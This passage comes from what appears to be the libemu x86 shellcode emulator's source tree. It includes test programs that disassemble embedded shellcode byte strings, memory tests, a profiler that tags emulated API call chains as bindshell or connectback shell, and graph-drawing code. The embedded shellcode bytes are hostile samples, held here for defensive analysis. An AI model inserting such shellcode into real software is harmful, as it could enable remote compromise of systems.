0, 0}\n\t\t};\n\n\t\tc = getopt_long (argc, argv, \"vns:t:\", long_options, &option_index);\n\t\tif ( c == -1 )\n\t\t\tbreak;\n\n\t\tswitch ( c )\n\t\t{\n\t\tcase 'v':\n\t\t\topts.verbose = 1;\n\t\t\tbreak;\n\n\t\tcase 'n':\n\t\t\topts.nasm_force = 1;\n\t\t\tbreak;\n\n\t\tcase 's':\n\t\t\topts.steps = atoi(optarg);\n\t\t\tbreak;\n\n\t\tcase 't':\n\t\t\topts.testnumber = atoi(optarg);\n\t\t\tbreak;\n\n\n\t\tdefault:\n\t\t\tprintf (\"?? getopt returned character code 0%o ??\\n\", c);\n\t\t\tbreak;\n\t\t}\n\t}\n\n\n\n\tif ( prepare() != 0)\n\t\treturn -1;\n\n\tif ( test(opts.testnumber) != 0 )\n\t\treturn -1;\n\n\tcleanup();\n\n//\tdump_export_table();\n\treturn 0;\n}\n"
  },
  {
    "path": "testsuite/instrtree.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n\n#include <stdint.h>\n\n#include \"../src/libdasm.c\"\n#include \"../src/libdasm.h\"\n/* JMPCall \nconst char scode[] = \"\\xfc\\xbb\\xbf\\x05\\xeb\\xd0\\xeb\\x0c\\x5e\\x56\\x31\\x1e\\xad\\x01\\xc3\"\n\"\\x85\\xc0\\x75\\xf7\\xc3\\xe8\\xef\\xff\\xff\\xff\\x43\\x6f\\x00\\x97\\x53\";\n*/\n\nconst char scode[] = \t\t\"\\x33\\xc9\\x83\\xe9\\xb0\\xe8\\xff\\xff\\xff\\xff\\xc0\\x5e\\x81\\x76\\x0e\\x47\"\n\t\t\"\\x13\\x2b\\xc0\\x83\\xee\\xfc\\xe2\\xf4\\xbb\\x79\\xc0\\x8d\\xaf\\xea\\xd4\\x3f\";\n\n\nvoid indent(int lev)\n{\n\tint j;\n\tfor ( j=0; j<lev; j++ )\n\t\tprintf(\" \");\n}\n\nvoid instrtree(uint8_t *data, uint8_t datasize, uint8_t offset, uint16_t level)\n{\n\tstatic char str[256];\n\n\tint i;\n\tfor ( i=1;i<15;i++ )\n\t{\n\t\tif (i > offset)\n\t\t\tbreak;\n\n\t\tINSTRUCTION inst;\n\n\t\tuint8_t isize = get_instruction(&inst, data+offset-i, MODE_32);\n\n\t\tif ( /*isize <= 0 ||*/ isize != i )\n\t\t\tcontinue;\n\n\t\tindent(level);\n\t\tprintf(\"instrsize %i\\n\", i);\n\n\n\t\tget_instruction_string(&inst, FORMAT_INTEL, 0, str, sizeof(str));\n\n\t\tindent(level);\n\t\tprintf(\"%s\\n\", str);\n\n\t\tif ( offset - isize >= 1 )\n\t\t\tinstrtree(data, datasize, offset-isize, level+1);\n//\t\telse\n//\t\t\treturn;\n\t}\n}\n\n\nint main(void)\n{\n    \n\n//\tint i;\n//\n// \tinstrtree((uint8_t *)scode, 16*7, 16*7 0); \n\n\tunsigned int i;\n\tfor ( i=0;i<sizeof(scode);i++ )\n\t{\n\t\tstatic char str[256];\n\t\tINSTRUCTION inst;\n\n\t\tint32_t isize = get_instruction(&inst, (uint8_t *)scode+i, MODE_32);\n\n\t\tif (isize <= 0)\n\t\t\tcontinue;\n\n\t\tget_instruction_string(&inst, FORMAT_INTEL, 0, str, sizeof(str));\n\n\t\tprintf(\"         { rank = same; \\\"%02X\\\"; \\\"%08X %s\\\" };\\n\",i,i,str);\n\t}\n\n\tfor ( i=0;i<sizeof(scode);i++ )\n\t{\n\t\tuint32_t off1;\n\n\t\tstatic char str1[256];\n\t\tINSTRUCTION inst1;\n\n\t\tuint32_t off2;\n\t\tstatic char str2[256];\n\t\tINSTRUCTION inst2;\n\n\t\toff1 = i;\n\t\tint32_t isize = get_instruction(&inst1, (uint8_t *)scode+i, MODE_32);\n\n\t\tif (isize <= 0)\n\t\t\tcontinue;\n\n\t\toff2=i+isize;\n\n\t\tisize = get_instruction(&inst2, (uint8_t *)scode+i+isize, MODE_32);\n\t\tif (isize <= 0)\n\t\t\tcontinue;\n\n\t\t\n\n\t\tget_instruction_string(&inst1, FORMAT_INTEL, 0, str1, sizeof(str1));\n\t\tget_instruction_string(&inst2, FORMAT_INTEL, 0, str2, sizeof(str2));\n\n\t\tprintf(\"         \\\"%08X %s\\\" -> \\\"%08X %s\\\";\\n\",off1,str1,off2,str2);\n\t}\n\n\n\n\treturn 0;\n}\n\n"
  },
  {
    "path": "testsuite/main.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#include \"emu/emu.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_log.h\"\n\nint main(void)\n{\n\tstruct emu *e = emu_new();\n\temu_log_level_set(emu_logging_get(e), EMU_LOG_DEBUG);\n\n\n\t/* memory test */\n\tstruct emu_memory *mem = emu_memory_get(e);\n\tint n = 0xff;\n\tuint8_t testbytes[n];\n\tuint32_t testaddresses[n];\n\tint i;\n\t\n\tfor( i = 0; i < n; i++ )\n\t{\n\t\ttestbytes[i] = rand() % 0xff;\n\t\ttestaddresses[i] = rand() % 0xff;\n\t\ttestaddresses[i] <<= 8; \n\t\ttestaddresses[i] |= rand() % 0xff;\n\t\ttestaddresses[i] <<= 8; \n\t\ttestaddresses[i] |= rand() % 0xff; \n\t\ttestaddresses[i] <<= 8; \n\t\ttestaddresses[i] |= rand() % 0xff; \n\t\t\n\t\temu_memory_write_byte(mem, testaddresses[i], testbytes[i]);\n\t}\n\t\n\t\n\tfor( i = 0; i < n; i++ )\n\t{\n\t\tuint8_t byte;\n\t\t\n\t\temu_memory_read_byte(mem, testaddresses[i], &byte);\n\t\tif( byte != testbytes[i] )\n\t\t{\n\t\t\tprintf(\"!!! memtest failed, expected %02x got %02x\\n\", testbytes[i], byte);\n\t\t\treturn -1;\n\t\t}\n\t}\n\n\temu_free(e);\n\n\treturn 0;\n}\n"
  },
  {
    "path": "testsuite/memtest.c",
    "content": "#include <stdio.h>\n#include \"emu/emu.h\"\n#include \"emu/emu_memory.h\"\n\nvoid test_alloc(struct emu *e)\n{\n\tconst uint32_t len = 4711;\n\tuint32_t addr;\n\tstruct emu_memory *m = emu_memory_get(e);\n\t\n\temu_memory_alloc(m, &addr, len);\n\t\n\tprintf(\"allocd at 0x%08x\\n\", addr);\n\t\n\tint i;\n\t\n\tfor( i = 0; i < len; i++ )\n\t{\n\t\tuint8_t byte;\n\t\tif( emu_memory_read_byte(m, addr + i, &byte) )\n\t\t{\n\t\t\tprintf(\"error reading allocated byte: %s\\n\", emu_strerror(e));\n\t\t}\n\t}\n}\n\n\nint main(int argc, char **argv)\n{\n\tstruct emu *e;\n\t\n\te = emu_new();\n\t\n\ttest_alloc(e);\n\t\n\temu_free(e);\n\t\n\treturn 0;\n}\n"
  },
  {
    "path": "testsuite/scprofiler.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2008  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include \"../config.h\"\n\n#define HAVE_GETOPT_H\n#ifdef HAVE_GETOPT_H\n\t#include <getopt.h>\n#endif\n\n#ifdef HAVE_STDLIB_H\n\t#include <stdlib.h>\n#endif\n\n\n#include <stdint.h>\n\n#define HAVE_UNISTD\n#ifdef HAVE_UNISTD\n\t#include <unistd.h>\n#endif\n#include <stdio.h>\n#include <string.h>\n\n#include <arpa/inet.h>\n\n#include \"emu/environment/emu_profile.h\"\n#include \"emu/environment/win32/emu_env_w32.h\"\n\n\nstruct run_options\n{\n\tchar *profile_name;\n\tchar *function_name;\n\tchar *argument_name;\n\tbool profile;\n\tbool debug_dump;\n\n};\n\n\nstruct run_options opts;\n\nstruct emu_profile_function *find_function(struct emu_profile *profile, const char *fnname)\n{\n\tstruct emu_profile_function *function;\n\tfor ( function = emu_profile_functions_first(profile->functions); !emu_profile_functions_istail(function); function = emu_profile_functions_next(function) )\n\t{\n\t\tif ( strcmp(function->fnname,fnname) == 0 )\n\t\t\treturn function;\n\t}\n\treturn NULL;\n}\n\nstruct emu_profile_argument *find_argument(struct emu_profile_function *function, const char *name)\n{\n\tstruct emu_profile_argument *argument;\n\tfor ( argument = emu_profile_arguments_first(function->arguments); !emu_profile_arguments_istail(argument); argument = emu_profile_arguments_next(argument) )\n\t{\n\t\tif ( strcmp(argument->argname,name) == 0 )\n\t\t\treturn argument;\n\t}\n\n\treturn NULL;\n}\n\ntypedef void (*print_function)(struct emu_profile_function *function, void *args[]);\n\nstruct function_render\n{\n\tconst char *function;\n\tprint_function printer;\n};\n\n\nvoid print_connect(struct emu_profile_function *function, void *args[])\n{\n//\tint connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);\n\tint retval = *(int *)args[0];\n\tint sockfd = *(int *)args[1];\n\tstruct sockaddr_in *addrin = *(struct sockaddr_in **)(void **)args[2];\n\tsocklen_t addrlen = *(socklen_t *)args[3];\n\n\tprintf(\"%i = %s(int sockfd=%i, const struct sockaddr *serv_addr=%s:%i, socklen_t addrlen=%i);\\n\",\n\t\t   retval,\n\t\t   function->fnname,\n\t\t   sockfd,\n\t\t   inet_ntoa(addrin->sin_addr), \n\t\t   ntohs(addrin->sin_port),\n\t\t   addrlen);\n\n}\n\nvoid print_CreateProcess(struct emu_profile_function *function, void *args[])\n{\n\t/*BOOL CreateProcess( \n\t  LPCWSTR pszImageName, \n\t  LPCWSTR pszCmdLine, \n\t  LPSECURITY_ATTRIBUTES psaProcess, \n\t  LPSECURITY_ATTRIBUTES psaThread, \n\t  BOOL fInheritHandles, \n\t  DWORD fdwCreate, \n\t  LPVOID pvEnvironment, \n\t  LPWSTR pszCurDir, \n\t  LPSTARTUPINFOW psiStartInfo, \n\t  LPPROCESS_INFORMATION pProcInfo\n\t);*/\n\n\tbool retval = *(bool *)args[0];\n\tchar *psCmdLine = *(char **)(void **)args[2];\n\n\tprintf(\"%i = %s(\\\"%s\\\");\\n\", \n\t\t   retval,\n\t\t   function->fnname,\n\t\t   psCmdLine);\n\n}\n\nstruct function_render function_rendering[] =\n{\n\t{ \"connect\", print_connect},\n\t{ \"bind\", print_connect},\n\t{ \"CreateProcess\", print_CreateProcess}\n};\n\n\nint main(int argc, char *argv[])\n{\n\tint option_index = 0;\n\n\tmemset(&opts, 0, sizeof(struct run_options));\n\n\twhile ( 1 )\n\t{\n\t\tint c;\n\n\t\tstatic struct option long_options[] = {\n\t\t\t{\"argument\"         , 1, 0, 'a'},\n\t\t\t{\"debugdump\"        , 1, 0, 'd'},\n\t\t\t{\"function\"         , 1, 0, 'f'},\n\t\t\t{\"profile\"          , 0, 0, 'p'},\n\t\t\t{0, 0, 0, 0}\n\t\t};\n\n\t\tc = getopt_long (argc, argv, \"a:df:p\", long_options, &option_index);\n\t\tif ( c == -1 )\n\t\t\tbreak;\n\n\t\tswitch ( c )\n\t\t{\n\t\t\n\n\t\tcase 'a':\n\t\t\topts.argument_name = strdup(optarg);\n\t\t\tprintf(\"argument %s\\n\", optarg);\n\t\t\tbreak;\n\n\t\tcase 'd':\n\t\t\topts.debug_dump = true;\n\t\t\tbreak;\n\n\t\tcase 'f':\n\t\t\topts.function_name = strdup(optarg);\n\t\t\tprintf(\"function %s\\n\", optarg);\n\t\t\tbreak;\n\n\t\tcase 'p':\n\t\t\topts.profile = true;\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tprintf (\"?? getopt returned character code 0%o ??\\n\", c);\n\t\t\tbreak;\n\n\t\t}\n\t}\n\n\tif ( optind < argc )\n\t{\n\t\topts.profile_name = strdup(argv[optind]);\n\t\tprintf(\"Profile %s\\n\", argv[optind]);\n\t}\n\n\tstruct emu_profile *profile = emu_profile_new();\n\tif ( emu_profile_parse(profile, opts.profile_name) != 0 )\n\t{\n\t\tprintf(\"error parsing file %s!\\n\",opts.profile_name);\n\t\treturn -1;\n\t}\n\n\n\n\tif ( opts.profile )\n\t{\n//\t\tprintf(\"profiling ....\\n\");\n\t\tenum profile_state\n\t\t{\n\t\t\tPS_NONE,\n\t\t\tPS_WSASOCKET,\n\t\t\tPS_BIND,\n\t\t\tPS_LISTEN,\n\t\t\tPS_ACCEPT,\n\t\t\tPS_CONNECT,\n\t\t\tPS_CREATEPROCESS,\n\t\t\tPS_URLDOWNLOADTOFILE\n\t\t};\n\n\t\tenum profile_state state = PS_NONE;\n\t\tstruct emu_profile_function *function;\n\t\tfor ( function = emu_profile_functions_first(profile->functions); !emu_profile_functions_istail(function); function = emu_profile_functions_next(function) )\n\t\t{\n//\t\t\tprintf(\"state %i\\n\", state);\n\t\t\tswitch ( state )\n\t\t\t{\n\t\t\tcase PS_NONE:\n\t\t\t\tif ( strcmp(\"WSAStartup\", function->fnname) == 0 )\n\t\t\t\t\tstate = PS_WSASOCKET;\n\t\t\t\telse\n\t\t\t\t\tif ( strcmp(\"URLDownloadToFile\", function->fnname) == 0 )\n\t\t\t\t\tprintf(\"url download\\n\");\n\t\t\t\tbreak;\n\n\n\t\t\tcase PS_WSASOCKET:\n\t\t\t\tif ( strcmp(\"bind\", function->fnname) == 0 )\n\t\t\t\t\tstate = PS_BIND;\n\t\t\t\telse\n\t\t\t\t\tif ( strcmp(\"connect\", function->fnname) == 0 )\n\t\t\t\t\tstate = PS_CONNECT;\n\t\t\t\tbreak;\n\n\t\t\tcase PS_BIND:\n\t\t\t\tif ( strcmp(\"listen\", function->fnname) == 0 )\n\t\t\t\t\tstate = PS_LISTEN;\n\n\t\t\t\tbreak;\n\n\t\t\tcase PS_LISTEN:\n\t\t\t\tif ( strcmp(\"accept\", function->fnname) == 0 )\n\t\t\t\t\tstate = PS_ACCEPT;\n\t\t\t\tbreak;\n\n\t\t\tcase PS_ACCEPT:\n\t\t\t\tif ( strcmp(\"CreateProcess\", function->fnname) == 0 )\n\t\t\t\t\tprintf(\"bindshell\\n\");\n\t\t\t\telse\n\t\t\t\t\tif ( strcmp(\"recv\", function->fnname) == 0 )\n\t\t\t\t\tprintf(\"bindfiletransfer\");\n\t\t\t\tbreak;\n\n\t\t\tcase PS_CONNECT:\n\t\t\t\tif ( strcmp(\"CreateProcess\", function->fnname) == 0 )\n\t\t\t\t\tprintf(\"connectbackshell\\n\");\n\t\t\t\telse\n\t\t\t\t\tif ( strcmp(\"recv\", function->fnname) == 0 )\n\t\t\t\t\tprintf(\"connectback transfer\");\n\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\tbreak;\n\n\t\t\t}\n\t\t}\n\t}\n\n\tif ( opts.debug_dump )\n\t{\n\t\temu_profile_debug(profile);\n\t}\n\n\tstruct emu_profile_function *function;\n\tfor ( function = emu_profile_functions_first(profile->functions); !emu_profile_functions_istail(function); function = emu_profile_functions_next(function) )\n\t{\n\n\t\tint argc = emu_profile_arguments_length(function->arguments);\n\t\tvoid **args = malloc( (argc+1) * sizeof(void *));\n\n\t\tint i;\n\t\tfor ( i = 0; i <= argc; i++ )\n\t\t\targs[i] = emu_profile_function_argument_get(function, i);\n\n\t\tfor ( i=0;i< sizeof(function_rendering)/sizeof(struct function_render);i++ )\n\t\t{\n\t\t\tif ( strcmp(function->fnname, function_rendering[i].function) == 0 )\n\t\t\t{\n\t\t\t\tfunction_rendering[i].printer(function, args);\n\t\t\t\tgoto found_function;\n\t\t\t}\n\t\t}\n\n\t\tprintf(\"could not find function %s\\n\",function->fnname);\n\n\t\tfound_function:\n\t\tfor ( i = 0; i < argc+1; i++ )\n\t\t\tfree(args[i]);\n\t}\n\n//\temu_profile_debug(profile);\n\temu_profile_free(profile);\n\treturn 0;\n}\n\n"
  },
  {
    "path": "tools/Makefile.am",
    "content": "# $Id$\n\nAUTOMAKE_OPTIONS = foreign\n\nSUBDIRS = sctest\n"
  },
  {
    "path": "tools/sctest/Makefile.am",
    "content": "AUTOMAKE_OPTIONS = foreign\n\nAM_CPPFLAGS = -I../../include -I ../../.. -Werror -Wall -g\nAM_LDFLAGS = -lemu -L../../src \n\n\n# if you want to compile without tests, uncomment the following line:\n#AM_CPPFLAGS += -D_NO_TESTS\n\n\nbin_PROGRAMS = sctest\n\nsctest_CPPFLAGS = ${LIB_CARGOS_INCDIR}  ${AM_CPPFLAGS}\nsctest_LDFLAGS =  ${LIB_CARGOS} ${LIB_CARGOS_LIBDIR} ${AM_LDFLAGS}\nsctest_LDADD = ../../src/libemu.la\nsctest_SOURCES = dot.c\nsctest_SOURCES += dot.h\nsctest_SOURCES += sctestmain.c\nsctest_SOURCES += tests.c\nsctest_SOURCES += tests.h\nsctest_SOURCES += userhooks.c\nsctest_SOURCES += userhooks.h\nsctest_SOURCES += nanny.c\nsctest_SOURCES += nanny.h\nsctest_SOURCES += options.h\n\n"
  },
  {
    "path": "tools/sctest/dot.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include \"../config.h\"\n\n#define HAVE_GETOPT_H\n#ifdef HAVE_GETOPT_H\n# include <getopt.h>\n#endif\n\n#ifdef HAVE_STDLIB_H\n# include <stdlib.h>\n#endif\n\n\n#include <stdint.h>\n\n#define HAVE_UNISTD\n#ifdef HAVE_UNISTD\n# include <unistd.h>\n#endif\n#include <stdio.h>\n\n#include <stdarg.h>\n\n\n#include \"emu/emu.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_log.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/environment/emu_profile.h\"\n#include \"emu/environment/emu_env.h\"\n#include \"emu/environment/win32/emu_env_w32.h\"\n#include \"emu/environment/win32/emu_env_w32_dll.h\"\n#include \"emu/environment/win32/emu_env_w32_dll_export.h\"\n#include \"emu/environment/win32/env_w32_dll_export_kernel32_hooks.h\"\n#include \"emu/environment/linux/emu_env_linux.h\"\n#include \"emu/emu_getpc.h\"\n#include \"emu/emu_graph.h\"\n#include \"emu/emu_string.h\"\n#include \"emu/emu_hashtable.h\"\n\n#include \"emu/emu_shellcode.h\"\n\n#include \"dot.h\"\n#include \"options.h\"\n\nstruct instr_vertex *instr_vertex_new(uint32_t theeip, const char *instr_string)\n{\n\tstruct instr_vertex *iv = (struct instr_vertex *)malloc(sizeof(struct instr_vertex));\n\tmemset(iv, 0, sizeof(struct instr_vertex));\n\tiv->eip = theeip;\n\tiv->instr_string = emu_string_new();\n\temu_string_append_format(iv->instr_string, \"0x%08x %s\\\\l\",iv->eip, instr_string);\n\treturn iv;\n}\n\nvoid instr_vertex_free(struct instr_vertex *iv)\n{\n\temu_string_free(iv->instr_string);\n\tfree(iv);\n}\n\nstruct instr_vertex *instr_vertex_copy(struct instr_vertex *from)\n{\n\tstruct instr_vertex *iv = (struct instr_vertex *)malloc(sizeof(struct instr_vertex));\n\tmemset(iv, 0, sizeof(struct instr_vertex));\n\tiv->eip = from->eip;\n\tiv->instr_string = emu_string_new();\n\tiv->dll = from->dll;\n\tiv->syscall = from->syscall;\n\n\temu_string_append_char(iv->instr_string, from->instr_string->data);\n\treturn iv;\n}\n\n\n\nvoid instr_vertex_destructor(void *data)\n{\n\tinstr_vertex_free((struct instr_vertex *)data);\n}\n\n\n\nint graph_draw(struct emu_graph *graph)\n{\n\tstruct emu_vertex *ev;\n\tstruct instr_vertex *iv;\n\n\tFILE *f = fopen(opts.graphfile,\"w+\");\n\n\tstruct emu_graph *sgraph = emu_graph_new();\n\tstruct emu_hashtable *ht = emu_hashtable_new(2047, emu_hashtable_ptr_hash, emu_hashtable_ptr_cmp);\n\n\tstruct emu_vertex *nev;\n\tstruct instr_vertex *niv=NULL;\n\n\tprintf(\"copying vertexes\\n\");\n\tfor ( ev = emu_vertexes_first(graph->vertexes); !emu_vertexes_attail(ev); ev = emu_vertexes_next(ev) )\n\t{\n\t\tiv = (struct instr_vertex *)ev->data;\n\n\t\tnev = emu_vertex_new();\n\t\temu_graph_vertex_add(sgraph, nev);\n\n\t\tniv = instr_vertex_copy(iv); \n\t\tnev->data = niv;\n\n\t\temu_hashtable_insert(ht, (void *)iv, nev);\n\t\tev->color = white;\n\t}\n\n\tprintf(\"optimizing graph\\n\");\n\tfor ( ev = emu_vertexes_first(graph->vertexes); !emu_vertexes_attail(ev); ev = emu_vertexes_next(ev) )\n\t{\n\t\t// ignore known \n\t\tif ( ev->color == black )\n\t\t\tcontinue;\n\n\n\t\tprintf(\"vertex %p\\n\", (void *)ev);\n\n\t\t// find the first in a chain\n\t\tiv = (struct instr_vertex *)ev->data;\n\t\twhile ( emu_edges_length(ev->backedges) == 1 && emu_edges_length(ev->edges) <= 1 && ev->color == white && iv->dll == NULL && iv->syscall == NULL )\n\t\t{\n\t\t\tev->color = grey;\n\n\t\t\tstruct emu_vertex *xev = emu_edges_first(ev->backedges)->destination;\n\t\t\tiv = (struct instr_vertex *)xev->data;\n\t\t\tif ( emu_edges_length(xev->backedges) > 1 || emu_edges_length(xev->edges) > 1 || iv->dll != NULL || iv->syscall != NULL )\n\t\t\t\tbreak;\n\n\t\t\tev = xev;\n\t\t\tprintf(\" -> vertex %p\\n\",(void *)ev);\n\t\t}\n\n\n\t\tiv = (struct instr_vertex *)ev->data;\n\n\t\t// create the new vertex \n\t\tnev = (struct emu_vertex *)emu_hashtable_search(ht, (void *)iv)->value;\n\t\tniv = (struct instr_vertex *)nev->data;\n\n\t\tiv = (struct instr_vertex *)ev->data;\n\n\t\tprintf(\"going forwards from %p\\n\", (void *)ev);\n\t\twhile ( emu_edges_length(ev->edges) == 1 && emu_edges_length(ev->backedges) <= 1 && ev->color != black && iv->dll == NULL && iv->syscall == NULL )\n\t\t{\n\t\t\tev->color = black;\n\t\t\tstruct emu_vertex *xev = emu_edges_first(ev->edges)->destination;\n\t\t\tiv = (struct instr_vertex *)xev->data;\n\n\t\t\tif ( emu_edges_length(xev->backedges) > 1 || emu_edges_length(xev->edges) > 1 ||\n\t\t\t\t iv->dll != NULL || iv->syscall != NULL )\n\t\t\t\tbreak;\n\n\t\t\tev = xev;\n\n\t\t\tiv = (struct instr_vertex *)ev->data;\n\t\t\temu_string_append_char(niv->instr_string, emu_string_char(iv->instr_string));\n\t\t\tprintf(\" -> vertex %p\\n\",(void *)ev);\n\t\t}\n\n\t\tev->color = black;\n\n\t\tprintf(\"copying edges for %p\\n\",(void *)ev);\n\t\tstruct emu_edge *ee;\n\t\tfor ( ee = emu_edges_first(ev->edges); !emu_edges_attail(ee); ee = emu_edges_next(ee) )\n\t\t{\n\t\t\tstruct instr_vertex *ivto = emu_vertex_data_get(ee->destination);\n\t\t\tstruct emu_hashtable_item *ehi = emu_hashtable_search(ht, (void *)ivto);\n\t\t\tstruct emu_vertex *to = (struct emu_vertex *)ehi->value;\n\t\t\tif ( 1 )// nev != to )//&& to->color != black )\n\t\t\t{\n\t\t\t\tstruct emu_edge *nee = emu_vertex_edge_add(nev, to);\n\t\t\t\tnee->count = ee->count;\n\t\t\t\tnee->data = ee->data;\n\t\t\t\tprintf(\" -> %p\\n\", (void *)to);\n\t\t\t}\n\t\t}\n\n\t}\n\n\tgraph->vertex_destructor = instr_vertex_destructor;\n//\temu_graph_free(graph);\n\tgraph = sgraph;\n\n\temu_hashtable_free(ht);\n\tfprintf(f, \"digraph G {\\n\\t//rankdir=LR\\n\\tnode [fontname=Courier, labeljust=r];\\n\");\n\n#if 0\n\tint numdlls=0;\n\twhile ( env->loaded_dlls[numdlls] != NULL )\n\t{\n\t\tint has_dll = 0;\n\t\tstruct emu_string *fs = emu_string_new();\n\t\temu_string_append_format(fs, \"\\t subgraph cluster%i {\\n\\t\\t node [shape=box, style=filled, color=\\\".7 .3 1.0\\\"];\\n\\t\\tstyle=filled;\\n\\t\\tcolor=lightgrey;\\n\\t\\tlabel=\\\"%s\\\"\\n\\t\\t\", numdlls, env->loaded_dlls[numdlls]->dllname);\n\t\tfor ( ev = emu_vertexes_first(graph->vertexes); !emu_vertexes_attail(ev); ev = emu_vertexes_next(ev) )\n\t\t{\n\t\t\tstruct instr_vertex *iv = emu_vertex_data_get(ev);\n\t\t\tif ( iv->dll == env->loaded_dlls[numdlls] )\n\t\t\t{\n\t\t\t\temu_string_append_format(fs, \"\\t\\%i [label = \\\"%s\\\"];\\n\", iv->eip, emu_string_char(iv->instr_string));\n\n\t\t\t\thas_dll = 1;\n\t\t\t}\n\n\t\t}\n\n\t\temu_string_append_char(fs, \"\\t}\\n\");\n\n\t\tfprintf(f, \"%s\", emu_string_char(fs));\n\t\tnumdlls++;\n\t}\n#endif // 0\n\tfor ( ev = emu_vertexes_first(graph->vertexes); !emu_vertexes_attail(ev); ev = emu_vertexes_next(ev) )\n\t{\n\t\tif ( emu_edges_length(ev->edges) == 0 && emu_edges_length(ev->backedges) == 0 )\n\t\t\tcontinue;\n\n\t\tstruct instr_vertex *iv = emu_vertex_data_get(ev);\n#if 0\n\t\tif ( iv->dll != NULL )\n\t\t\tcontinue;\n#endif // 0\n\t\tif ( iv->dll != NULL || iv->syscall != NULL )\n\t\t\tfprintf(f, \"\\t \\\"%p\\\" [shape=box, style=filled, color=\\\".7 .3 1.0\\\", label = \\\"%s\\\"]\\n\",(void *)iv, emu_string_char(iv->instr_string));\n\t\telse\n\t\t\tfprintf(f, \"\\t \\\"%p\\\" [shape=box, label = \\\"%s\\\"]\\n\",(void *)iv, emu_string_char(iv->instr_string));\n\t}\n\n\tfor ( ev = emu_vertexes_first(graph->vertexes); !emu_vertexes_attail(ev); ev = emu_vertexes_next(ev) )\n\t{\n\t\tstruct instr_vertex *ivfrom = emu_vertex_data_get(ev);\n\n\t\tstruct emu_edge *ee;\n\t\tfor ( ee = emu_edges_first(ev->edges); !emu_edges_attail(ee); ee = emu_edges_next(ee) )\n\t\t{\n\t\t\tstruct instr_vertex *ivto = emu_vertex_data_get(ee->destination);\n\t\t\tstruct emu_string *fs = emu_string_new();\n\n\t\t\tif ( ee->data != (void *)0x0 )\n\t\t\t\temu_string_append_format(fs, \"\\t \\\"%p\\\" -> \\\"%p\\\" [style = dashed\", (void *)ivfrom, (void *)ivto);\n\t\t\telse\n\t\t\t\temu_string_append_format(fs, \"\\t \\\"%p\\\" -> \\\"%p\\\" [style = bold\", (void *)ivfrom, (void *)ivto);\n\n\t\t\tif ( ee->count > 100 )\n\t\t\t\temu_string_append_char(fs, \", color=red\");\n\t\t\telse\n\t\t\t\tif ( ee->count > 50 )\n\t\t\t\temu_string_append_char(fs, \", color=blue\");\n\t\t\telse\n\t\t\t\tif ( ee->count > 25 )\n\t\t\t\temu_string_append_char(fs, \", color=green\");\n\t\t\telse\n\t\t\t\tif ( ee->count > 1 )\n\t\t\t\temu_string_append_char(fs, \", color=orange\");\n\n\n\n\t\t\temu_string_append_char(fs, \" ]\\n\");\n\n\t\t\tfprintf(f, \"%s\", emu_string_char(fs));\n\t\t\temu_string_free(fs);\n\t\t}\n\n\t}\n\n\n\tfprintf(f, \"}\");\n\tfclose(f);\n\n\tgraph->vertex_destructor = 